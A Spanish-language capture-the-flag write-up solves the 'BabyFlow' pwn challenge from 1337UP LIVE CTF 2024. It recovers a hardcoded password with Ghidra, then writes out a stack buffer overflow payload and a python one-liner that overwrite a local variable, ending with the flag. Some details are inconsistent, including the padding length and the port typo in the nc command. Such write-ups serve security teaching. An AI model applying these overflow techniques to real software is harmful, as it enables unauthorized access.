Entrada

BabyFlow - 1337UP LIVE CTF2024

Reto de Pwn/Reversing basado en cambiar el valor de una variable en ejecución mediante un bufferoverflow.

BabyFlow - 1337UP LIVE CTF2024

Autor del reto: CryptoCat

Dificultad: Fácil

Enunciado

“Does this login application even work?!

Archivos

Este reto nos da los siguientes archivos.

  • babyflow : Contiene el ejecutable a vulnerar.
  • nc babyflow.ctf.intigriti.io 1331 : Conexión por netcat al servidor del reto.

Archivos utilizados aquí.

Analizando el código

En este reto, tenemos un ejecutable el cual se corresponde con un ELF (Executable and Linkable Format) de 64 bits LSB.

1
2
3
4
┌──(kesero㉿kali)-[~]
└─$ file babyflow

babyflow: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=55a6fe0ff25ff287549a03eb79dd00df541ece7f, for GNU/Linux 3.2.0, not stripped

Para poder ejecutarlo, simplemente le otorgamos permisos de ejecución y observamos lo siguiente.

1
2
3
4
5
┌──(kesero㉿kali)-[~]
└─$ ./babyflow

Enter password: password
Inorrect Password!

Solución

En este reto, tenemos que encontrar una contraseña para poder continuar con la ejecución del programa. Lo primero que deberemos de hacer será lanzar un strings al binario para que nos arroje las cadenas de texto contenidas en dicho ejecutable. En este caso no encontramos nada.

Lo siguiente a probar será la herramienta de Ghidra con la cual podremos analizar el código de manera estática para observar el funcionamiento y el comportamiento del programa.

Para ello inicializamos Ghidra, creamos un proyecto, importamos el ejecutable y por último, le damos a analizar, para que el programa nos arroje el código en ensamblador analizado.

Una vez ya tenemos el entorno creado, tenemos que irnos a la sección de funciones e ir analizando las mismas en busca de cualquier información. En este caso, solo tenemos una función main. Tras cambiar el nombre de algunas variables en la función main, podemos observar su comportamiento de forma más clara y a su vez, podemos ver que la contraseña esta hardcodeada en texto claro.

codigo_ghidra

Como podemos ver, la contraseña a introducir para continuar con la ejecución del programa es SuPeRsEcUrEPaSsWoRd123, por lo que ejecutando nuevamente el binario con esta contraseña obtenemos lo siguiente.

1
2
3
4
5
┌──(kesero㉿kali)-[~]
└─$ ./babyflow
Enter password: SuPeRsEcUrEPaSsWoRd123
Correct Password!
Are you sure you are admin? o.O

Para poder llegar a la ejecución del print con la flag, tenemos que introducir la contraseña primero y posteriormente entrar dentro del if, el cual tiene asociado una variable local_c. Si local_c es igual a 1, entonces se ejecutará el contenido.

Por tanto, simplemente con cambiar el valor de local_c a 1, una vez hayamos introducido la contraseña correcta, ya podremos acceder a la ejecución del print y obtener la flag, ¿cierto?

Solo hay un pequeño problema y es que en el código del ejecutable no se cambia el valor de local_c, por lo que el valor de dicha variable permanece igual en su ejecución y su contenido siempre es 0.

Llegados a este punto, tenemos que cambiar el valor de dicha variable de manera dinámica, es decir, una vez el programa está en ejecucción. Pero realmente, ¿cómo hacemos esto?

Para conseguir cambiar el valor de la variable local_c, tenemos que usar técnicas como explotación de memoria o manipulación de variables en el binario.

Vamos a comenzar a realizar un sencillo Buffer Overflow ya que podemos observar que la función fgets permite leer hasta 50 caracteres (0x32 en hexadecimal). Sin embargo, el buffer input tiene 44 bytes. Esto deja una brecha de 6 bytes a aprovechar para sobreescribir local_c. Por lo tanto, tendremos que estructurar un input de manera que la parte adicional después del string correcto, sobreescriba local_c en memoria.

Es muy importante aclarar que la variable local_c está declarada en memoria inmediatamente después del buffer input. Esto significa que cualquier contenido adicional que sobrepase los 44 bytes del buffer de entrada puede escribir directamente sobre la variable local_c.

Por ejemplo un buen input sería el siguiente:

1
SuPeRsEcUrEPaSsWoRd123AAAAAAAAAAAAAAAAAAAA\x01

NOTA

Para ir probando inputs, lo recomendable es utilizar la consola interactiva de python e ir calculando la cantidad necesaria para desbordar el buffer y cambiar el contenido de la variable local_c.

1
python -c 'print("SuPeRsEcUrEPaSsWoRd123" + "A" * 29 + "\x01")' | ./babyflow

En este caso:

  • SuPeRsEcUrEPaSsWoRd123 satisface la comparación de contraseña.
  • AAAAAAAAAAAAAAAAAAAA\x01 desbordará el buffer y sobrescribe local_c con el valor 0x01, que se corresponde con el valor 1.

Al ejecutar el binario, obtenemos lo siguiente.

1
2
3
4
5
6
┌──(kesero㉿kali)-[~]
└─$ ./babyflow

Enter password: SuPeRsEcUrEPaSsWoRd123AAAAAAAAAAAAAAAAAAAA\x01
Correct Password!
INTIGRITI{the_flag_is_different_on_remote}

Listo! Una vez tenemos la flag en local, simplemente tenemos que obtenerla de manera remota. Para esto, como este reto requiere de un payload muy sencillo, no es necesario realizar un script para automatizar el proceso, únicamente con introducir dicha cadena en el servidor, ya obtenemos la flag.

1
2
3
4
5
6
┌──(kesero㉿kali)-[~]
└─$ nc babyflow.ctf.intigriti.io 1331a

Enter password: SuPeRsEcUrEPaSsWoRd123AAAAAAAAAAAAAAAAAAAA\x01
Correct Password!
INTIGRITI{b4bypwn_9cdfb439c7876e703e307864c9167a15}

Flag

INTIGRITI{b4bypwn_9cdfb439c7876e703e307864c9167a15}

Esta entrada está licenciada bajo CC BY 4.0 por el autor.